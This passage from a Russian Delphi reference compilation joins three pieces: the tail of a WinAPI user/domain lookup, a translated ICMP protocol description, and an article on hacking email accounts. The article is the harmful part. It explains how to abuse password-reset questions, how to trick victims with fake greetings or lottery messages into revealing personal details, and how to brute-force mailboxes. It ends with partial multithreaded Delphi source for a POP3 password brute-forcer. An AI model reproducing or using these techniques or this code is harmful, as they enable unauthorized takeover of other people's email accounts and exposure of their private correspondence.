TOKEN_USER. If GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf). Then begin. // Ищем имя пользователя и его домен по его SID. If LookupAccountSid(nil,ptiUser.User.Sid,szUser,chUser,szDomain,chDomain,snu). Then Result:=true; End; // Освобождаем ресурсы. CloseHandle(hToken); FreeMem(ptiUser); End; // Использовать функцию можно так : Var. Domain, User : array [0..50] of Char; ChDomain,chUser : Cardinal; Begin. ChDomain:=50; ChUser :=50; If GetCurrentUserAndDomain(User,chuser,Domain,chDomain). Then ... End; // Если вам необходимо получить только имя пользователя - используйте GetUserName. // Данный пример можно использовать и для определения - запущен ли процесс. // системой или пользователем. Учетной записи Localsystem соответствует. // имя пользователя - SYSTEM и домен NT AUTORITY (лучше проверить на практике).

Описание протокола ICMP (Internet Control Message Protocol).

Протокол Internet (IP) используется для обработки датаграммы, передаваемой между хост-компьютерами в системе объединенных сетей, называемой Catenet. Устройства, осуществляющие соединение различных сетей, называются шлюзами. Для обеспечения управления шлюзы общаются друг с другом посредством протокола Gateway to Gateway Protocol (GGP). Порой шлюз или хост-компьютер, получающий данные, обменивается информацией с хост-компьютером, отправляющим эти данные. Именно для таких целей используется данный протокол - протокол контрольных сообщений Internet (ICMP). ICMP использует основные свойства протокола Internet (IP), как если бы ICMP являлся протоколом более высокого уровня. Однако фактически ICMP является составной частью протокола Internet и должен являться составной частью каждого модуля IP.

Сообщения ICMP должны отправляться в некоторых затруднительных ситуациях. Например, когда датаграмма не может достичь своего адресата, когда шлюз не имеет достаточно места в своем буфере для передачи какой-либо датаграммы, или когда шлюз приказывает хост-компьютеру отправлять информацию по более короткому маршруту.

Протокол Internet не создан для того, чтобы обеспечивать абсолютную надежность передачи информации. Целью же данных контрольных сообщений является обеспечение обратной связи, оповещение отправителя данных о проблемах, возникающих в коммуникационном оборудовании. Их целью не является придание надежности протоколу IP. Протокол не дает гарантий, что датаграмма достигает своего адресата или что контрольное сообщение будет возвращено компьютеру, отправившему данные. Некоторые из датаграмм могут исчезнуть в сети, не вызвав при этом ни каких оповещений. Протоколы более высокого уровня, использующие протокол IP, должны применять свои собственные процедуры для обеспечения надежности передачи данных, если таковая требуется.

Сообщения ICMP протокола, как правило, оповещают об ошибках, возникающих при обработке датаграмм. Чтобы проблемы с передачей сообщений не вызывали появление новых сообщений, чтобы это в свою очередь не привело к лавинообразному росту количества сообщений, циркулирующих в сети, констатируется, что нельзя посылать сообщения о сообщениях. Также констатируется, что ICMP сообщения можно посылать только о проблемах, возникающих при обработке нулевого фрагмента в сегментированной датаграмме (нулевой фрагмент имеет нуль в поле смещения фрагмента).

Форматы сообщений.

ICMP сообщения посылаются с помощью стандартного IP заголовка. Первый октет в поле данных датаграммы - это поле типа ICMP сообщения. Значение этого поля определяет формат всех остальных данных в датаграмме. Любое поле, которое помечено "unused", зарегистрировано для последующих разработок и должно при отправлении содержать нули. Однако получатель не должен использовать значения этих полей (за исключением процедуры вычисления контрольной суммы). Если обратное особо не оговорено при описании отдельных фрагментов, Internet заголовок должен иметь в своих полях следующие значения:

Версия.

4.

IHL.

Длина Internet заголовка; единица измерения - 32-битное слово.

Тип сервиса.

0.

Общая длина.

Длина Internet заголовка и поля данных в октетах.

Идентификация, флаги, смещение фрагмента.

Используются в случае фрагментации.

Время жизни.

Время жизни в секундах. Поскольку значение этого поля уменьшается на единицу в каждой машине, на которой обрабатывается данная датаграмма, то значение этого поля должно, по крайней мере, превышать количество шлюзов, через которые будет проходить данная датаграмма.

Протокол.

ICMP=1.

Контрольная сумма заголовка.

16-битное дополнение до единицы суммы дополнений до единицы всех 16-битных слов в заголовке. При вычислении данной суммы следует первоначально устанавливать значение этого поля в нуль.

В дальнейшем этот алгоритм вычисления контрольной суммы должен быть изменен.

Адрес отправления.

Адрес шлюза или хост-компьютера, который составил данное ICMP сообщение. Если не оговорено обратное, в этом поле может находиться любой из адресов шлюза.

Адрес получателя.

Адрес шлюза или хост-компьютера, которому следует послать данное сообщение.

Сообщение о недостижимости порта.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Не используется.

Internet заголовок + 64 бита данных из исходной датаграммы.

Поля Internet протокола:

Адрес получателя.

Локальная сеть и адрес компьютера, отправившего исходную датаграмму.

Поля ICMP протокола.

Тип.

3.

КодО невозможно передать датаграмму на локальную сеть, где находится адресат.

1 невозможно передать датаграмму на хост-компьютер, являющийся адресатом.

2 нельзя воспользоваться указанным протоколом.

3 нельзя передать данные на указанный порт.

4 для передачи датаграммы по сети требуется фрагментация, однако выставлен флаг DF.

5 сбой в маршрутизации при отправлении.

Контрольная сумма.

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений октетов в полях ICMP сообщения, начиная с поля типа ICMP. Для вычисления контрольной суммы первоначально значение этого поля обнуляется. В будущем процедура вычисления контрольной суммы может быть изменена.

Internet заголовок + 64 бита данных из исходной датаграммы.

Данное поле содержит Internet заголовок и первые 64 бита данных из исходной датаграммы для выработки сообщения для соответствующего процесса. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера находятся в первых 64 битах поля данных.

Описание.

Если, согласно информации в таблицах маршрутизации шлюза, локальная сеть, указанная в Internet заголовке датаграммы в поле адресата, является недостижимой, например, из-за ее чрезмерной удаленности, то шлюз может послать хост-компьютеру, отправившему датаграмму по Internet сети, сообщение о недостижимости адресата.

Кроме этого, в некоторых сетях шлюз может иметь возможность определять доступность отдельного хост-компьютера. Шлюз в такой сети может послать данное сообщение, если хост-компьютер, являющийся адресатом, недоступен.

Иная ситуация возникает, когда для достижения адресата датаграмма должна быть разбита шлюзом на отдельные фрагменты, но установлен флаг запрета фрагментации. О этом случае шлюз обязан ликвидировать датаграмму и может при этом послать сообщение о недостижимости адресата.

Шлюз может послать сообщения с кодами 0, 1, 4 и 5. Хост-компьютер может послать сообщения с кодами 2 и 3.

Сообщение о превышении контрольного времени.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Не используется.

Internet заголовок + 64 бита данных из исходной датаграммы.

Поля IP заголовка.

Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения.

Тип.

11.

КодО при передаче превышено время жизни.

1 превышено контрольное время при сборке фрагментов датаграммы.

Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм контрольной суммы может быть изменен.

Internet заголовок + 64 бита данных из исходной датаграммы.

Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание.

Если фрагмент нулевого размера превысил контрольное время, то сообщение в этом не посылается вовсе.

Шлюз может послать сообщение с кодом 0, а хост - с кодом 1.

Сообщение о проблемах с параметром.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Указатель не используется.

Internet заголовок + 64 бита данных из исходной датаграммы.

Поля IP заголовка.

Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения.

Тип.

12.

Код.

0 - указатель показывает ошибку.

Контрольная сумма.

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Указатель.

Если код = 0, то он указывает на октет, где была обнаружена ошибка.

Internet заголовок + 64 бита данных из исходной датаграммы.

Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание.

Если шлюз или хост-компьютер, обрабатывающий датаграмму, обнаруживает проблему с обработкой параметров заголовка, и это не позволяет завершить ее обработку, то он должен ликвидировать рассматриваемую датаграмму. Одной из потенциальных причин такой неприятности могут бить неправильные аргументы в опции. Шлюз или хост-компьютер в сообщении о проблеме с параметрами может также упомянуть хост-компьютер, породивший датаграмму с ошибкой. Сообщения такого типа посылаются лишь в том случае, если ошибка приводит к ликвидации этой датаграммы.

Указатель определяет октет в заголовке исходной датаграммы, где была обнаружена ошибка (этот ошибочный октет может находиться даже посередине опции). Например, 1 указывает на то, что имеется какая-то ошибка в поле типа сервиса, а (если имеются опции) 20 определяет, что имеется ошибка в коде типа для первой опции. Код 0 сообщения может приходить как от шлюза, так и от хост-компьютера.

Сообщение для приостановки отправителя.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Не используется.

Internet заголовок + 64 бита данных из исходной датаграммы.

Поля IP заголовка.

Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения.

Тип.

4.

Код.

0.

Контрольная сумма.

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Internet заголовок + 64 бита данных из исходной датаграммы.

Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исходной датаграммы.

Описание.

Шлюз может ликвидировать Internet датаграммы, если у него нет места в буфере для постановки этих датаграмм в очередь на от правление в очередную сеть по маршруту следования к адресату.

Если шлюз ликвидирует датаграмму, то он должен послать сообщение для приостановки хост-компьютеру в Internet системе, отправившему данную датаграмму. Сообщение о приостановке может послать также сам адресат, если датаграммы приходят слишком быстро, чтобы успеть их обработать. Сообщение о приостановке является за просом для хост-компьютера уменьшить скорость посылки данных на этот конкретный адрес. Шлюз может посылать сообщение для при остановки отправителя в каждом случае ликвидации. При получении такого сообщения хост-компьютер, отправивший данные, должен уменьшить скорость посылки данных по этому адресу до тех пор, пока не перестанут приходить запросы на приостановку с данного шлюза. После этого хост-компьютер, отправляющий данные, может постепенно увеличивать скорость посылки данных по этому адресу, пока вновь не станут приходить сообщения о приостановке.

Шлюз или хост-компьютер может посылать сообщение о приостановке еще до достижения предельной пропускной способности, и не ждать, пока этот предел будет пройден. Это означает, что датаграмма с данными, вызвавшая появление сообщения о приостановке, все же может достичь своего адресата. И шлюз и хост-компьютер могут отправить сообщение с кодом 0.

Сообщение о переадресации.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Internet адрес шлюза.

Internet заголовок + 64 бита данных из исходной датаграммы.

Поля IP заголовка.

Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения.

Тип.

5.

КодО - переадресация датаграмм для сети.

1 - переадресация датаграмм для хост-компьютера.

2 - переадресация датаграмм для типа услуг и сети.

3 - переадресация датаграмм для типа услуг и хост-компьютера.

Контрольная сумма.

Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Internet адрес шлюза.

Адрес шлюза, на который должен быть проложен маршрут к сети, указанной в поле адреса в исходной датаграмме с данными.

Internet заголовок + 64 бита данных из исходной датаграммы.

Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исход ной датаграммы.

Описание.

Шлюз посылает сообщение на хост-компьютер о переадресации в следующей ситуации: Шлюз G1 получает Internet датаграмму от хост-компьютера в сети, где он расположен. Шлюз G1 проверяет таблицу маршрутизации и находит адрес следующего шлюза G2 в качестве маршрута для датаграммы по пути в сеть X, где расположен ее адресат. Если G2 и исходный хост-компьютер идентифицируются Internet адресом как находящиеся в одной и той же сети, то на хост-компьютер следует послать сообщение о переадресации. Сообщение о переадресации заставляет хост-компьютер посылать датаграммы для сети X прямо на шлюз G2, поскольку это более короткий путь, нежели привлекать еще шлюз G1. Шлюз передает данные исходной датаграммы их адресату в системе Internet.

Для датаграмм с опциями IP маршрутизации отправления и адресом шлюза в поле получателя сообщение не посылается, даже если и существует более оптимальный маршрут к конечному адресату, чем следующий адрес, указанный в такой опции маршрута.

Шлюзом могут быть переданы сообщения с кодами 0, 1, 2 и 3.

Эхо-сообщение и сообщение в ответ на эхо.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Идентификатор Номер очереди.

Данные .....

Поля IP заголовка.

Адреса.

Адрес отправителя в эхо-сообщении будет адресом получателя в ответном сообщении. Чтобы сформировать сообщение ответа, следует просто переставить местами адреса отправителя и получателя, код типа изменить на 0 и пересчитать контрольную сумму.

Поля ICMP сообщения.

Тип8 - эхо-сообщение.

0 - сообщение в ответ на эхо.

Код.

0.

Контрольная сумма.

Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. Если общая длина сообщения нечетная, то для вычисления контрольной суммы поле данных дополняется еще одним нулевым октетом. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор.

Если код = 0, то идентификатор для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Номер очереди.

Если код = 0, то номер очереди, служащий для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Описание.

Данные из эхо-сообщения должны быть переданы в ответе на это сообщение.

Идентификатор и номер очереди может использоваться отправителем эхо-сообщения с целью идентификации приходящих пакетов. На пример, идентификатор может использоваться в качестве порта подобно протоколам TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу при посылке каждого эхо сообщения (запроса). Компьютер, отозвавшийся на это сообщение, возвращает в своем ответе те же значения для идентификатора и номера очереди, что были в исходном эхо-сообщении.

Как шлюз, так и хост-компьютер могут возвращать сообщение с кодом 0.

Сообщение со штампом времени и сообщение с ответом на штамп времени.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Идентификатор Номер очереди.

Штамп времени отправления.

Штамп времени получения.

Штамп времени передачи.

Поля IP заголовка.

Адреса.

Адрес отправителя в сообщении со штампом времени будет адресом получателя в сообщении с ответом. Чтобы сформировать ответ на сообщение, следует просто поменять местами адреса отправителя и получателя, выбрать код типа 14, а также пересчитать контрольную сумму.

Поля ICMP сообщения.

Тип13 для сообщения со штампом времени.

14 для ответа на сообщение со штампом времени.

Код.

0.

Контрольная сумма.

Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор.

Если код = 0, то идентификатор, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Номер очереди.

Если код = 0, то номер очереди, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Описание.

Данные из сообщения (штамп времени) возвращаются вместе с ответом, при этом в них добавляется еще один штамп времени. Штамп времени - это 32 бита, где записано время в миллисекундах, прошедшее после полуночи по единому времени (UT). Один из примеров использования таких временных штампов приведен в документе.

Штамп времени отправления - это время, которое отправитель фиксировал последний раз перед посылкой сообщения. Штамп времени получения - это время, когда исходное сообщение впервые увидел получатель первоначального сообщения. Штамп времени передачи - это время, которое фиксировал в последний раз компьютер, отправляющий ответное сообщение.

Если нет возможности измерять время в миллисекундах или нельзя определить единое время (UT), то в штамп все же можно занести имеющееся время, снабдив его единицей в старшем бите. Последнее также указывает на запись нестандартного значения в этом поле.

Идентификатор и номер очереди могут использоваться отправителем для соотнесения сообщений (запросов) и ответов на них. На пример, идентификатор может использоваться в качестве порта, аналогично протоколам TCP и UDP, для идентификации сессии. Номер очереди может увеличиваться на единицу при каждой посылке сообщения (запроса). Адресат возвращает для этих параметров те значения, которые были обнаружены в запросе. И шлюз и хост-компьютер могут возвращать сообщения с кодом 0.

Запрос информации и ответное сообщение с информацией.

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1.

Тип Код Контрольная сумма.

Идентификатор Номер очереди.

Поля IP заголовка.

Адреса.

Адрес отправителя в сообщении с запросом информации окажется адресом получателя в ответном сообщении с информацией. Чтобы сформировать ответное сообщение, следует просто поменять местами адреса отправителя и получателя, код типа сменить на 16, пересчитать контрольную сумму.

Поля ICMP сообщения.

Тип15 - сообщение с запросом информации.

16 - ответное сообщение с информацией.

Код.

0.

Контрольная сумма.

Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы следует предварительно обнулить поле самой контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор.

Если код = 0, то идентификатор, служащий для соотнесения запросов и ответов, может быть обнулен.

Номер очереди.

Если код = 0, то номер очереди, служащий для соотнесения запросов и ответов, может быть обнулен.

Описание.

Данное сообщение может быть послано, когда в IP заголовке в полях отправителя и получателя записаны нули (это означает "именно эту" локальную сеть). В ответ должен быть послан IP модуль с полностью заданными адресами. Данное сообщение является способом, с помощью которого хост-компьютер сможет определить номер сети, куда он подключен.

Отправитель сообщений может использовать идентификатор и номер очереди для соотнесения запросов и пришедших ответов. Например, идентификатор может использоваться как порт в протоколах TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу всякий раз, когда посылается запрос. Адресат возвращает в ответе те же значения этих параметров, которые были обнаружены в запросе.

И хост-компьютер и шлюз могут возвращать сообщения с кодом 0.

Список типов сообщений:

0 ответ на запрос эхо.

3 адресат недостижим.

4 приостановка отправителя.

5 переадресация.

8 эхо-запрос.

11 превышение контрольного времени.

12 проблемы с параметрами.

13 штамп времени.

14 ответ на запрос штампа времени.

15 запрос информации.

16 ответ на запрос информации.

©Drkb::03387.

Взято с http://delphiworld.narod.ru.

Технологии взлома Email.

Автор: Danil.

WEB-сайт: http://www.danil.dp.ua.

Недавно наткнулся на прикольный форум, где собираются кардеры, спамеры и прочее. Почитал. Одна тема продвинула меня на написание этой статьи. Человек написал, что заплатит за взлом мыла. Взломать надо было не соседа Васю Непупкина, а что-то посерьезней. Было несколько отзывов. Первый поинтересовался на каком серваке расположено мыло, хотя e-mail адрес был указан. Без комментариев. Второй, даже не изучив сервак, заподозрил, что при взломе ему ничего не заплатят. Шкура неубитого медведя называется. Третий написал, что он возьмется это сделать за неделю. Дальше рассказывать не буду - уже смешно. Рассмотрим по пунктам весь этот процесс, который у некоторых "особо продвинутых" занимает неделю. Эта статья не будет похожа на описание программы с полем ввода адреса и большой кнопкой "Hack it", хотя я постараюсь сказать на эту тему как можно больше. Есть основные 4 способа взлома мыла.

Отсылка на атакуемое мыло сообщения, содержащего какой-то код, который после своего выполнения, позволит получить пароль или изменить его на нужный. Опять же, если мыло не соседа-собутыльника, а чего-то более серьезного, то письма получают не дырявым аутглюком и не експлорером, а почтовым клиентом с отключенным выполнением скриптов. Плюс еще их просматривают в диспечере сообщений на предмет приатаченных файлов и на серваке стоит брандмауэр, который автоматом переименовывает все прикрепленные выполняемые файлы. Облом. Только засветиться. И ничего конкретно тут пообещать нельзя.

Ошибки web-интерфейса сервиса для работы с почтой. В частности, подмена запросов после авторизации на своем мыле так, чтобы "вплыть" в настройки чужого. Это все уже практически везде пофиксено. Останавливаться на этом не буду.

Взлом самого сервака с почтовым сервисом. Т.е. надо всесторонне изучить сервер, найти на нем дырки, найти бесплатный работающий эксплоит и т.д. и т.п. Дырок может и не быть или соответствующие эксплоиты платны или не выставленны на всеобщее обозрение. Тем более, если ты взломал сервер с серьезным мылом, то нафиг тебе за копейки продавать эту инфу. Если кто-то знает как им распорядиться, то имея сервак "в кармане" ты и сам можешь об этом догадаться. Или можно продавать информацию кусками, по мере ее поступления. В любом случае, обещание по поводу недели на взлом....

Брутфорс. Самый тупой способ. Перебор паролей по словарю или подряд всех символов. Остановимся более подробно на этом способе. Первое, что нужно для этого, это словарь. На этом же форуме я обнаружил еще одно очень веселое объявление о продаже файла, содержащего 360000 паролей. Файл паролей можно взять где угодно. Даже просто пойти и скачать какую-нибудь программу-переводчик.

Теперь немного математики. Рассмотрим такой случай: пароль - не слово, а случайный набор маленьких английских символов. Для того, чтобы подобрать 2-ух буквенный пароль, по теории вероятности, надо 26*26/2=338 раз перебрать пароль. Для трехбуквенного - 26^3/2=8788, для четырехбуквенного - 26^4/2=228488 и т.д.. Тут, конечно, есть варианты. Можно сначала перебирать так: первая буква - гласная, вторая - согласная; первая - согласная, вторая - гласная. Но, если пароль состоит не только из маленьких английских букв, но и из больших, плюс цифры и спец-символы, то большой облом. Одно дело у себя локально на крутом компе подобрать пароль к excel-евскому документу, а другое дело по инету. Итак, мы определились, что прямой перебор не катит. При таком пароле, надо пробовать первые три способа.

Немного о безопасности. Некоторые провайдеры делают мыло так, что получить его можно только выйдя в инет через них. Проверка может быть только на диапазон адресов и есть некоторая возможность для спуфинга, но... В общем, только третий способ. Ломать прова. Взломать его за неделю - это, мягко говоря, несколько опрометчивое высказывание. Или ты уже знаешь как и тогда это происходит за пару часов, или....

Рассмотрим перебор по словарю. Здесь есть несколько вариантов:

Самый быстрый - задействовать свой полный шелл на быстром серваке. Есть несколько "но": если обнаружат, то аккаунт прикроют. Ради призрачной вероятности заработать несколько денег, рисковать полным шеллом - это сильно круто и расточительно. Использовать прокси - тоже не выход. Можно использовать вариант с каким-то уже взломанным серваком, но см.выше. Его терять еще более обидно.

Можно создать web-страницу c поддержкой запуска скриптов и повесить счетчик, который при каждом посещении будет перебирать несколько вариантов. Опять же, пагу могут и закрыть. Все усилия по ее раскрутке может "зачеркнуть" какой-то админ-мудак.

Самый безопасный, но и самый ненадежный способ - накодить спец прогу и занести ее в компьютерный клуб. При работе с инетом, она будет перебирать по чуть-чуть пароли. Потом приходишь раз в ..., и смотришь результаты. Но эту прогу надо еще написать и замаскировать - в этом клубе админы могут полными идиотами и не быть.

Ну и, самый распространенный способ - перебирать со своего компа. Есть целый ряд программ для этого, но все они мне, лично, не нравятся, и в этой статье я буду рассказывать, как написать брутфорсер самому.

На самом деле, иногда, все не так уж и безнадежно. Рассмотрим несколько реальных примеров. Вернее, я оговорился - все примеры выдуманны, все имена изменены, и любые совпадения абсолютно случайны.

Пример 1.

Зеркало. Не люблю я спамеров. Вот интересный случай: прочитал я где-то объяву о том, что представитель этой масти может заплатить за спам лист, вытащенный из какого-то сервера. Мыло его было sexxx@glukr.net. Ломанулся я на http://www.glukr.net и сразу же нажал "Забыл пароль". Служба борьбы с амнезией - очень интересная штука. Человек может указать очень сложный пароль, но правдиво, коротко и просто ответить на вопросы в интересующем нас разделе. Мне высветилось: "Ответьте на вопрос:", "sex", ясен пень - "sex". Опа. Такая приятная табличка "Установите новый пароль". Спамер остался без мыла. Для этого мне не понадобилось ничего, кроме моей любимой оперы и 2 минут времени.

Пример 2.

Идиотизм. Когда-то мне пришло письмо вроде бы от достаточно известной конторы, занимающейся безопасностью. Там было предложение заполнить резюме и выслать его на мыло с уже рассмотренного нами бесплатного, очень популярного, но такого дырявого glukr.net. Резюме было на 3-ех листах с просьбой указать ВСЮ информацию о себе. Я сразу заподозрил неладное. Или кто-то очень хотел получить обо мне всю инфу для каких-то своих "черных" замыслов и не имел ничего общего с этой конторой (что скорее всего), или в этой конторе есть очень умные люди (см. тему примера). На "Забыл пароль" у меня спросили рост. Введя пару значений, я обнаружил временную защиту, т.е. за определенный промежуток времени нельзя было вводить более двух вариантов. Рассудив, что карлик какой-то не будет отвечать на вопрос о росте, я начал со 180. Вводя по чуть-чуть цифры, к утру, я увидел такую родную сердцу табличку. Вместо того, чтобы ввести что-то типа "6 futov 1 дюйм + 2 litra пива", там было цифровое значение. Ничего я менять не стал, а то, вдруг, действительно людей на работу берут, а я потопчусь своими кроссовками рибок 46-ого размера по большому и чистому....

Пример 3.

Социальная инжененрия. На некоторых серваках на вопрос "Забыл пароль" надо указать дату рождения и, например, любимое блюдо. Казалось бы, очень сложно, но.... Надо просто открыть мыло, например, supergirl@mail.ru и послать с него открытку "Поздравляю с днем рождения" и какую-нибудь глупую подпись. Вполне возможно, что он ответит "У меня не сегодня день рождения, а 32 марта". Или послать сообщение "Мы разыгрываем 10000 видов на жительство у америкосов и Вас компьютер выбрал случайно. Укажите в обратном письме Ваше образование и дату рождения и ...". В общем, на первый взгляд, вполне безобидно. Вариантов много. Узнав его дату рождения, перебрать любимое блюдо - можно, но т.к. практически у всех есть временная защита, то тут, скорее всего, если сразу не угадал, тоже облом. Также может быть указано имя матери. Словарь из имен можно составить самому или взять на серваке с гороскопами по имени и прочей лабудой. Тут главное понять, что женских имен не так уж и много, и указывают их обычно не как "лена" или "оля", а "Елена" или "Ольга". Также следует учесть, что человеку иногда облом переключать раскладку и имя может быть в английской транскрипции.

Пример 4.

Глобальный поиск. Включить поиск по атакуемому мылу. Если это мыло присутствует на какой-нибудь доске объявлений или рассылке, то написать ему соответствующее сообщение (см. пример 3), исходя из полученных сведений. Также пароль в какой-нибудь форум или чат получить иногда гораздо легче, и в большинстве случаев он от пароля на мыло не отличается.

Пример 5.

Навороты web-сайта. На сервере одного прова обнаружил голосование, с просмотром результатов. Результаты вызывались через url, в котором указывался один из параметров - куда после этого перейти. С соответствующими правами. Гении программирования, мля. Там еще был дополнительный web-интерфейс для работы с почтой. В корень выйти не получилось, но сходив к ним, потратив несколько баксов на диалап и мыло, просканировав сервак на предмет установленного почтового сервиса и поэксперементировав с купленным мылом, я понял, почему некоторые жаловались на то, что по 5-ти часовой карточке у них больше 2-ух часов не работаешь и кто-то периодически читает у этого прова все мыло. Но это тема отдельного разговора. Кстати, нужный мне пароль оказался "qwerty". Обычно, первое слово в большинстве словарей.

Рассмотрим способы защиты службы борьбы с амнезией. Первый - временная защита (кстати, на mail.xakep.ru я ее не обнаружил, хотя может не там смотрел). Второе - указывать любимое блюдо не "Пиво" и рост - не "215". Таким образом, в большинстве случаев способ "Забыл пароль" не действует. Теперь рассмотрим вариант, при котором человек не должен догадываться, что его мыло читают, т.е. даже подбор "Забыл пароль" не катит. Перейдем непосредственно к исследованиям и кодингу. Я не буду рассматривать написание брутфорса на перл для работы на удаленном сервере - это есть на http://www.xakep.ru. Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.

POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, WinSock; Type. TForm1 = class(TForm). Button1: TButton; ProgressBar1: TProgressBar; Procedure Button1Click(Sender: TObject); Procedure FormCreate(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; // Описание процесса. Type. TScan = class(TThread). Sock2 : TSocket; Addr:TSockAddrIn; WSAData : TWSAData; Private. Procedure CScan; Protected. Procedure Execute; override; End; Var. Form1: TForm1; // Массив процессов. Sock : array[1..255] of TScan; Rez : boolean = false; // Кол-во запущенных процессов на данный момент. I0 : Integer; // Номер текущего пароля. I : Integer; // TStringList с паролями. PassList : TStringList; Const. FilePass = 'pass.txt'; // Файл с паролями в каталоге проги. ProcCount = 10; // кол-во процессов. POP3serv = '212.42.64.13'; // POP3 server (отпингованый). User = 'dndanil'; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender: TObject); Begin. PassList:=TStringList.Create; End; // Запуск / Остановка. Procedure TForm1.Button1Click(Sender: TObject); Begin. If Rez then. Rez:=false. Else. Begin. // Открытие и загрузка файла паролей. Try. PassList.Clear; PassList.LoadFromFile(FilePass); Except. End; If PassList.Count<=0 then. Begin. Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok); Exit; End; Form1.Button1.Caption:='Stop'; Form1.ProgressBar1.Position:=0; // Кол-во паролей. Form1.ProgressBar1.Max:=PassList.Count; Application.ProcessMessages; I:=0; I0:=1; Rez:=true; // Запустить все процессы. While true do. Begin. Sock[I0]:=TScan.Create(false); Inc(I0); // Подсчитать их кол-во. //Выйти если больше указанного, или стоп, или подобрали. If (I0>ProcCount)or(not Rez) then. Break; End; End; 